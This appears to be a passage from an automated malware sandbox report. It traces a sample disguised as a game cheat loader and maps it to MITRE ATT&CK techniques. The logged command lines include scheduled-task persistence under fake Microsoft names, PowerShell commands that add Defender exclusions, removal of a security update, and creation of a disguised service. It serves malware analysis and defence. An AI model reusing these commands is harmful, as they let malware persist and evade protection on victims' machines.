        "C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\urrzyzrlmlnyvywx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1940 --field-trial-handle=1944,i,11100153819956661924,10865456431921707504,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5584
      - C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2a8a7jRt8HBr6EplknjhTUoBInc\Runtime Broker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\urrzyzrlmlnyvywx" --mojo-platform-channel-handle=2212 --field-trial-handle=1944,i,11100153819956661924,10865456431921707504,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4604
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "aitstatic" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
      4⤵
      Creates scheduled task(s)
      PID:5004
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "ComSvcConfig" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
      4⤵
      Creates scheduled task(s)
      PID:5888
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "MicrosoftCertificateServices" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
      4⤵
      Creates scheduled task(s)
      PID:4732
  - - C:\ProgramData\7zr.exe
      "C:\ProgramData\7zr.exe" x "C:\ProgramData\2dedaffe-f40b-433f-9c78-5a28ca0c5f41.7z" -o"C:\ProgramData\MicrosoftTool" -psomaliMUSTAFA681!!...
      4⤵
      Executes dropped EXE
      PID:5276
  - - C:\ProgramData\MicrosoftTool\current\Microsoft.exe
      "C:\ProgramData\MicrosoftTool\current\Microsoft.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "cscript "C:\Users\Public\Pictures\b.vbs""
        5⤵
        
        PID:5780
      - C:\Windows\system32\cscript.exe
        
        cscript "C:\Users\Public\Pictures\b.vbs"
        6⤵
        Checks computer location settings
        
        PID:64
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Pictures\b.bat" "
        7⤵
        
        PID:3436
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:1808
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:2432
        
        C:\Users\Public\Pictures\Service.exe
        
        C:\Users\Public\Pictures\Service.exe
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:816
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c v2.bat
        9⤵
        
        PID:2388
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC MINUTE /MO 60 /TN "\Microsoft\Windows\Windows Activation UEFI\BfeOnServiceStartTypeChange" /TR "C:\ProgramData\MicrosoftTool\current\Microsoft.exe" /ST 00:00 /DU 9999:59 /RL HIGHEST /F
        10⤵
        Creates scheduled task(s)
        
        PID:1416
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn BfeOnServiceStartTypeChange /tr "C:\ProgramData\MicrosoftTool\current\Microsoft.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f"
        5⤵
        
        PID:5380
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn BfeOnServiceStartTypeChange /tr "C:\ProgramData\MicrosoftTool\current\Microsoft.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
        6⤵
        Creates scheduled task(s)
        
        PID:4024
    - - C:\ProgramData\MicrosoftTool\current\Microsoft.exe
        
        "C:\ProgramData\MicrosoftTool\current\Microsoft.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Teams" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1788 --field-trial-handle=2012,i,5222580986597371711,9405694377279679045,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3096
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "DobeDiscovery" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f"
        5⤵
        
        PID:3448
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "DobeDiscovery" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\ComSvcConfig.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f
        6⤵
        Creates scheduled task(s)
        
        PID:4840
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsCftMonitor" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f"
        5⤵
        
        PID:5436
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MsCftMonitor" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\aitstatic.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f
        6⤵
        Creates scheduled task(s)
        
        PID:5816
    - - C:\ProgramData\MicrosoftTool\current\Microsoft.exe
        
        "C:\ProgramData\MicrosoftTool\current\Microsoft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Teams" --mojo-platform-channel-handle=2268 --field-trial-handle=2012,i,5222580986597371711,9405694377279679045,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1404
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "Microsoft Certificate Services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f"
        5⤵
        
        PID:3548
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Microsoft Certificate Services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MicrosoftCertificateServices.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f
        6⤵
        Creates scheduled task(s)
        
        PID:5220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /pid 3256"
        5⤵
        
        PID:2704
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid 3256
        6⤵
        Kills process with taskkill
        
        PID:404

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2144
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\y3dgqqqixc.sln
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2392

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\EFT-Warrar-Main\" -spe -an -ai#7zMap27267:92:7zEvent4947
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe
"C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe"
1⤵
- Executes dropped EXE
PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5308
- C:\Users\Admin\AppData\Roaming\driver1.exe
  C:\Users\Admin\AppData\Roaming\driver1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2412
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"
    3⤵
    PID:6056

C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe
"C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe"
1⤵
- Executes dropped EXE
- Modifies system certificate store
PID:5560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6076
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get uuid
  2⤵
  PID:4668

C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe
"C:\Users\Admin\Downloads\EFT-Warrar-Main\EFT\Loader.exe"
1⤵
- Executes dropped EXE
PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1452
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get uuid
  2⤵
  PID:1648
- C:\Users\Admin\AppData\Roaming\driver1.exe
  C:\Users\Admin\AppData\Roaming\driver1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6032
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"
    3⤵
    PID:6104
- C:\Users\Admin\AppData\Roaming\driver2.exe
  C:\Users\Admin\AppData\Roaming\driver2.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  PID:4876
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3928
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3492
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:5548
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:1148
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\RuntimeBroker.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery